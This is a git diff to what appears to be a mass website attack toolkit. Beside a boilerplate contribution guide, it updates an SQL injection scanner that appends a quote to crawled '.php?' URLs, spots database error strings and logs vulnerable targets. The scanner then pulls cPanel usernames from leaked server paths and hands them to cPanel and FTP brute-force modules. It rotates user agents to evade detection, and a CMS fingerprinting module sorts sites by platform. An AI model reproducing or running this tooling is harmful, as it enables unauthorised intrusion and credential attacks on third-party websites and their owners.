diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..50ab157 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,40 @@ +Contribution Guide + +Thank you for wanting to contribute to the project! Below are the steps you can follow to make a contribution. +How Can You Contribute? + + Fork the Repository: Fork the project to your own GitHub account. + + Create a Branch: Create a new branch for a new feature or bug fix. + +git checkout -b new-feature + +Make Changes: Make the necessary changes in your branch. + +Commit Changes: Commit your changes. + +git commit -am 'Added new feature' + +Push Changes: Push your changes to the forked repository. + + git push origin new-feature + + Create a Pull Request: Create a pull request to the original repository. + +Coding Standards + + Ensure your code is clear and readable. + + Follow the coding standards established for the project. + + Write relevant tests and make sure your changes pass the existing tests. + +PR and Issue Guidelines + + Provide detailed information about the changes you made in the PR description. + + When reporting issues, give as much detail as possible. + + Use appropriate labels and references. + +Thank you and have a great day at work! diff --git a/tools/Sqli.py b/tools/Sqli.py index abbbb34..a0d0732 100644 --- a/tools/Sqli.py +++ b/tools/Sqli.py @@ -1,85 +1,116 @@ import requests, re +import random from core import printmodels from tools import cpanel from BruteForce import FTPBruteForce +from time import sleep + + +user_agents = [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0', + 'Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0', + 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', + 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0' +] + +def get_random_user_agent(): + return random.choice(user_agents) def Exploit(site): + + agent = {'User-Agent': get_random_user_agent()} + + if site.startswith("http://"): site = site.replace("http://", "") elif site.startswith("https://"): site = site.replace("https://", "") - else: - pass - agent = { - 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0' - } + try: - GetLink = requests.get('http://' + site, timeout=10, headers=agent) + + GetLink = requests.get(f'http://{site}', timeout=10, headers=agent) urls = re.findall(r'href=[\'"]?([^\'" >]+)', str(GetLink.content)) + + if len(urls) != 0: - return CheckSqliURL(site, urls) + return CheckSqliURL(site, urls, agent) else: - pass - except: - pass - + return None + except requests.exceptions.Timeout as e: + print(f"Timeout error for site {site}: {e}") + sleep(5) # Birkaç saniye bekle ve tekrar dene + return Exploit(site) # Tekrar deneyelim + except requests.exceptions.ConnectionError as e: + print(f"Connection error for site {site}: {e}") + return None + except requests.exceptions.HTTPError as e: + print(f"HTTP error for site {site}: {e}") + return None + except requests.exceptions.RequestException as e: + print(f"Request error for site {site}: {e}") + return None + except Exception as e: + print(f"An unexpected error occurred: {e}") + return None -def CheckSqliURL(site, urls): +def CheckSqliURL(site, urls, agent): MaybeSqli = [] for url in urls: try: if '.php?' in str(url): MaybeSqli.append(site + '/' + url) - except: + except Exception as e: + print(f"Error processing URL {url}: {e}") pass + if len(MaybeSqli) != 0: - return CheckSqli(MaybeSqli, site) + return CheckSqli(MaybeSqli, site, agent) else: return printmodels.returnNo(site, 'N/A', 'Sql Injection', 'unknown') - -def CheckSqli(MaybeSqli, site): +def CheckSqli(MaybeSqli, site, agent): for url in MaybeSqli: try: - error = ["DB Error", "SQL syntax;", "mysql_fetch_assoc", "mysql_fetch_array", "mysql_num_rows", - "is_writable", - "mysql_result", "pg_exec", "mysql_result", "mysql_num_rows", "mysql_query", "pg_query", - "System Error", - "io_error", "privilege_not_granted", "getimagesize", "preg_match", "mysqli_result", 'mysqli'] - + error = ["DB Error", "SQL syntax;", "mysql_fetch_assoc", "mysql_fetch_array", "mysql_num_rows", + "is_writable", "mysql_result", "pg_exec", "mysql_result", "mysql_num_rows", "mysql_query", "pg_query", + "System Error", "io_error", "privilege_not_granted", "getimagesize", "preg_match", "mysqli_result", 'mysqli'] + + if url.startswith("http://"): url = url.replace("http://", "") elif url.startswith("https://"): url = url.replace("https://", "") - else: - pass - agent = { - 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0' - } + for s in error: - Checksqli = requests.get('http://' + url + "'", timeout=5, headers=agent) - if s in str(Checksqli.content): - SQLI = url.replace("'", "") - if SQLI.startswith("http://"): - SQLI = SQLI.replace("http://", "") - elif SQLI.startswith("https://"): - SQLI = SQLI.replace("https://", "") - else: - pass - if 'http://' in SQLI: - pass - else: - with open('result/SqlInjection_targets.txt', 'a') as xx: - xx.write('http://' + SQLI + '\n') - try: - Username = re.findall('/home/(.*)/public_html/', str(Checksqli.content))[0] - cpanel.Check(site, Username, 'Cpanel') - FTPBruteForce.CheckFTPport(site, Username) - except: - pass - return printmodels.returnYes(SQLI, 'N/A', 'Sql Injection', 'unknown') - else: + try: + Checksqli = requests.get(f'http://{url}\'', timeout=5, headers=agent) + + if s in str(Checksqli.content): + SQLI = url.replace("'", "") + if 'http://' not in SQLI: + with open('result/SqlInjection_targets.txt', 'a') as xx: + xx.write(f'http://{SQLI}\n') + try: + Username = re.findall('/home/(.*)/public_html/', str(Checksqli.content))[0] + cpanel.Check(site, Username, 'Cpanel') + FTPBruteForce.CheckFTPport(site, Username) + except Exception as e: + print(f"Error checking FTP or cPanel for {SQLI}: {e}") + return printmodels.returnYes(SQLI, 'N/A', 'Sql Injection', 'unknown') + except requests.exceptions.Timeout as e: + print(f"Timeout error for URL {url}: {e}") + sleep(3) + pass + except requests.exceptions.ConnectionError as e: + print(f"Connection error for URL {url}: {e}") + pass + except requests.exceptions.RequestException as e: + print(f"Request failed for URL {url}: {e}") + pass + except Exception as e: + print(f"Unexpected error for URL {url}: {e}") pass - break - except: + except Exception as e: + print(f"Error processing URL {url}: {e}") pass diff --git a/tools/cms.py b/tools/cms.py index e9f7745..1307093 100644 --- a/tools/cms.py +++ b/tools/cms.py @@ -1,5 +1,10 @@ -# coding=utf-8 import requests +import logging +import random +from requests.adapters import HTTPAdapter +from requests.packages.urllib3.util.retry import Retry + +# Renkli terminal çıktısı için renk kodları r = '\033[31m' g = '\033[32m' y = '\033[33m' @@ -7,140 +12,162 @@ m = '\033[35m' c = '\033[36m' w = '\033[37m' -Headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'} +# Kullanıcı ajanı listesi +user_agents = [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0', + 'Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/537.36' +] + +# HTTP Header'ı oluşturuluyor +Headers = {'User-Agent': random.choice(user_agents)} + +# CMS tespitinde kullanılacak URL'ler +def get_with_retry(url): + session = requests.Session() + retry = Retry(total=5, backoff_factor=1, status_forcelist=[500, 502, 503, 504]) + adapter = HTTPAdapter(max_retries=retry) + session.mount('http://', adapter) + session.mount('https://', adapter) + + try: + response = session.get(url, timeout=10, headers=Headers) + return response.text + except requests.exceptions.RequestException as e: + print(f"Error retrieving {url}: {e}") + return None + +# Loglama ayarları +logging.basicConfig(filename='cms_detection.log', level=logging.INFO) +def log_cms_detection(site, cms): + logging.info(f"Detected CMS: {cms} on site: {site}") + print(f"{g}[+] Detected {cms} on {site}{w}") + +# CMS tespit fonksiyonu def DetectCMS(site): - Joomla = 'http://{}/administrator/help/en-GB/toc.json'.format(site) # "COMPONENTS_BANNERS_BANNERS" - Joomla2 = 'http://{}/administrator/language/en-GB/install.xml'.format(site) # Joomla! - Joomla3 = 'http://{}/plugins/system/debug/debug.xml'.format(site) # Joomla! - Joomla4 = 'http://{}/administrator/'.format(site) - Wordpress = 'http://{}'.format(site) # /wp-content/ or /wp-inclues - Wordpress2 = 'http://{}/wp-includes/js/jquery/jquery.js'.format(site) # (c) jQuery Foundation - drupal = 'http://{}/misc/ajax.js'.format(site) # Drupal.ajax - drupal2 = 'http://{}'.format(site) # /sites/default/files - Opencart = 'http://{}/admin/view/javascript/common.js'.format(site) # getURLVar(key) - osCommerce = 'http://{}/admin/includes/general.js'.format(site) # function SetFocus() - vBulletin = 'http://{}/images/editor/separator.gif'.format(site) - vBulletin2 = 'http://{}/js/header-rollup-554.js'.format(site) # /js/header-rollup-554.js + Joomla = f'http://{site}/administrator/help/en-GB/toc.json' + Joomla2 = f'http://{site}/administrator/language/en-GB/install.xml' + Joomla3 = f'http://{site}/plugins/system/debug/debug.xml' + Joomla4 = f'http://{site}/administrator/' + + Wordpress = f'http://{site}' + Wordpress2 = f'http://{site}/wp-includes/js/jquery/jquery.js' + + Drupal = f'http://{site}/misc/ajax.js' + Drupal2 = f'http://{site}' + + Opencart = f'http://{site}/admin/view/javascript/common.js' + OsCommerce = f'http://{site}/admin/includes/general.js' + + vBulletin = f'http://{site}/images/editor/separator.gif' + vBulletin2 = f'http://{site}/js/header-rollup-554.js' + + Magento = f'http://{site}/skin/frontend/base/default/js/prototype/prototype.js' + Typo3 = f'http://{site}/typo3conf/ext/' + + # CMS tespiti için kontrol etme try: - CheckWp = requests.get(Wordpress, timeout=10, headers=Headers).content - if '/wp-content/' in str(CheckWp) or '/wp-inclues/' in str(CheckWp): - try: - with open('cms/Wordpress.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + # WordPress + CheckWp = get_with_retry(Wordpress) + if '/wp-content/' in CheckWp or '/wp-inclues/' in CheckWp: + log_cms_detection(site, 'wordpress') return 'wordpress' - CheckWp2 = requests.get(Wordpress2, timeout=10, headers=Headers).content - if '(c) jQuery Foundation' in str(CheckWp2): - try: - with open('cms/Wordpress.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + CheckWp2 = get_with_retry(Wordpress2) + if '(c) jQuery Foundation' in CheckWp2: + log_cms_detection(site, 'wordpress') return 'wordpress' - CheckJom = requests.get(Joomla, timeout=10, headers=Headers).content - if '"COMPONENTS_BANNERS_BANNERS"' in str(CheckJom): - try: - with open('cms/joomla.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + # Joomla + CheckJom = get_with_retry(Joomla) + if '"COMPONENTS_BANNERS_BANNERS"' in CheckJom: + log_cms_detection(site, 'joomla') return 'joomla' - CheckJom2 = requests.get(Joomla2, timeout=10, headers=Headers).content - if 'Joomla!' in str(CheckJom2): - try: - with open('cms/joomla.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + CheckJom2 = get_with_retry(Joomla2) + if 'Joomla!' in CheckJom2: + log_cms_detection(site, 'joomla') return 'joomla' - CheckJom3 = requests.get(Joomla3, timeout=10, headers=Headers).content - if 'Joomla!' in str(CheckJom3): - try: - with open('cms/joomla.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + CheckJom3 = get_with_retry(Joomla3) + if 'Joomla!' in CheckJom3: + log_cms_detection(site, 'joomla') return 'joomla' - CheckJom4 = requests.get(Joomla4, timeout=10, headers=Headers).content - if 'content="Joomla!' in str(CheckJom4): - try: - with open('cms/joomla.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + CheckJom4 = get_with_retry(Joomla4) + if 'content="Joomla!' in CheckJom4: + log_cms_detection(site, 'joomla') return 'joomla' - CheckDrupal = requests.get(drupal, timeout=10, headers=Headers).content - if 'Drupal.ajax' in str(CheckDrupal): - try: - with open('cms/drupal.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + # Drupal + CheckDrupal = get_with_retry(Drupal) + if 'Drupal.ajax' in CheckDrupal: + log_cms_detection(site, 'drupal') return 'drupal' - CheckDrupal2 = requests.get(drupal2, timeout=10, headers=Headers).content - if '/sites/default/files' in str(CheckDrupal2): - try: - with open('cms/drupal.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + CheckDrupal2 = get_with_retry(Drupal2) + if '/sites/default/files' in CheckDrupal2: + log_cms_detection(site, 'drupal') return 'drupal' - CheckOpencart = requests.get(Opencart, timeout=10, headers=Headers).content - if 'getURLVar(key)' in str(CheckOpencart): - try: - with open('cms/opencart.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + # Opencart + CheckOpencart = get_with_retry(Opencart) + if 'getURLVar(key)' in CheckOpencart: + log_cms_detection(site, 'opencart') return 'opencart' - CheckOsCommerce = requests.get(osCommerce, timeout=10, headers=Headers).content - if 'function SetFocus()' in str(CheckOsCommerce): - try: - with open('cms/oscommerce.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + # OsCommerce + CheckOsCommerce = get_with_retry(OsCommerce) + if 'function SetFocus()' in CheckOsCommerce: + log_cms_detection(site, 'oscommerce') return 'oscommerce' - Checkvb = requests.get(vBulletin, timeout=10, headers=Headers).content - if 'GIF89a' in str(Checkvb): - try: - with open('cms/vBulletin.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass - return 'vBulletin' - Checkvb2 = requests.get(vBulletin2, timeout=10, headers=Headers).content - if 'js.compressed/modernizr.min.js' in str(Checkvb2): - try: - with open('cms/vBulletin.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + # vBulletin + Checkvb = get_with_retry(vBulletin) + if 'GIF89a' in Checkvb: + log_cms_detection(site, 'vBulletin') return 'vBulletin' - if 'content="vBulletin' in str(CheckDrupal2): - try: - with open('cms/vBulletin.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass + + Checkvb2 = get_with_retry(vBulletin2) + if 'js.compressed/modernizr.min.js' in Checkvb2: + log_cms_detection(site, 'vBulletin') return 'vBulletin' - if 'var prestashop =' in str(CheckDrupal2): - try: - with open('cms/prestashop.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass - return 'prestashop' - else: - try: - with open('cms/unknown.txt', 'a') as XW: - XW.write(site + '\n') - except: - pass - return 'unknown' - except: + + # Magento + CheckMagento = get_with_retry(Magento) + if 'Prototype JS' in CheckMagento: + log_cms_detection(site, 'Magento') + return 'Magento' + + # Typo3 + CheckTypo3 = get_with_retry(Typo3) + if 'typo3conf/ext/' in CheckTypo3: + log_cms_detection(site, 'Typo3') + return 'Typo3' + + # Eğer hiçbir CMS tespit edilmezse + log_cms_detection(site, 'unknown') + return 'unknown' + + except requests.exceptions.Timeout: + print(f"Timeout occurred while trying to connect to {site}.") + log_cms_detection(site, 'deadTarget') return 'deadTarget' - + except requests.exceptions.TooManyRedirects: + print(f"Too many redirects encountered for {site}.") + log_cms_detection(site, 'deadTarget') + return 'deadTarget' + except requests.exceptions.RequestException as e: + print(f"An error occurred while processing {site}: {e}") + log_cms_detection(site, 'deadTarget') + return 'deadTarget' + except Exception as e: + print(f"Unexpected error: {e}") + log_cms_detection(site, 'deadTarget') + return 'deadTarget' +